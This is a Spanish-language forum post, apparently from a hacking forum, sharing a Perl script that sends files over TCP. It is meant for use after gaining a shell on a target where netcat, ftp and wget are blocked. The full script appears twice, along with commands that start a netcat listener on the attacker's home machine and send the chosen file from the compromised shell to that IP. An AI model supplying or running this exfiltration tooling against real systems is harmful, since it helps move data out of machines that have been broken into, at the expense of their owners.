Bueno, si alguna vez os veis con netcat capado, ftp, tftp, wget.. y habeis conseguido shell en el objetivo pero aun podeis usar un lenguaje como Perl, pues aqui un simple programa para mandarnos a nuestro Linux un archivo binario desde la shell objetivo.
Es una bobada pero bueno, todo el mundo se aburre de vez en cuando no :__).
Código:
#!/usr/bin/perl -w
## by averno -- shameless !
### para usar, en la maquina a mandar el archivo poner netcat:
# nc -l -p 5000 > file
#
### y solo ejecutar debidamente esto desde el cliente :)
##
use IO::Socket;
sub usage {
print STDERR <<"EOF";
Usage: $0 <host> <port> <file>
EOF
# el EOF final NO puede llevar un whitespace despues!
exit 1;
}
usage unless(defined($ARGV[2]));
my $addr = shift;
my $port = shift;
my $file = shift;
my $sock = new IO::Socket::INET(
"PeerAddr" => "$addr",
"PeerPort" => "$port",
"Proto" => "tcp"
) || die "cannot create socket: $!\n";
sub copy {
my ($src, $sock) = @_;
open FILE, "<$src" or die "cannot open $src";
binmode FILE;
my ($buffer, $numchars); my $buffersize = 1024;
my $size = 0;
while ($numchars = read(FILE, $buffer, $buffersize)) {
$size += $numchars;
print $sock $buffer;
}
close FILE;
close $sock;
return $size;
}
my $bytesent = copy($file, $sock);
print "[+] we have sent ", $bytesent, " bytes!\n\n";
exit;
#EOF
## by averno -- shameless !
### para usar, en la maquina a mandar el archivo poner netcat:
# nc -l -p 5000 > file
#
### y solo ejecutar debidamente esto desde el cliente :)
##
use IO::Socket;
sub usage {
print STDERR <<"EOF";
Usage: $0 <host> <port> <file>
EOF
# el EOF final NO puede llevar un whitespace despues!
exit 1;
}
usage unless(defined($ARGV[2]));
my $addr = shift;
my $port = shift;
my $file = shift;
my $sock = new IO::Socket::INET(
"PeerAddr" => "$addr",
"PeerPort" => "$port",
"Proto" => "tcp"
) || die "cannot create socket: $!\n";
sub copy {
my ($src, $sock) = @_;
open FILE, "<$src" or die "cannot open $src";
binmode FILE;
my ($buffer, $numchars); my $buffersize = 1024;
my $size = 0;
while ($numchars = read(FILE, $buffer, $buffersize)) {
$size += $numchars;
print $sock $buffer;
}
close FILE;
close $sock;
return $size;
}
my $bytesent = copy($file, $sock);
print "[+] we have sent ", $bytesent, " bytes!\n\n";
exit;
#EOF
Bueno, pues en casa para que programar sockets si tenemos netcat :__).
Desde casa ( puerto mapeado y firewall configurado... )
$ nc -l -p 5000 > file
y desde la shell: ( necesitaremos permisos de read sobre el fichero )
$ ./sockend IP_de_casa 5000 file_a_mandar
Ya esta, eso era todo.
Saludos.
P.D: Y os preguntareis.. y para que queremos mandarnos un binario???!
Pos yo que se.. echale imagination :_)










Autor



En línea



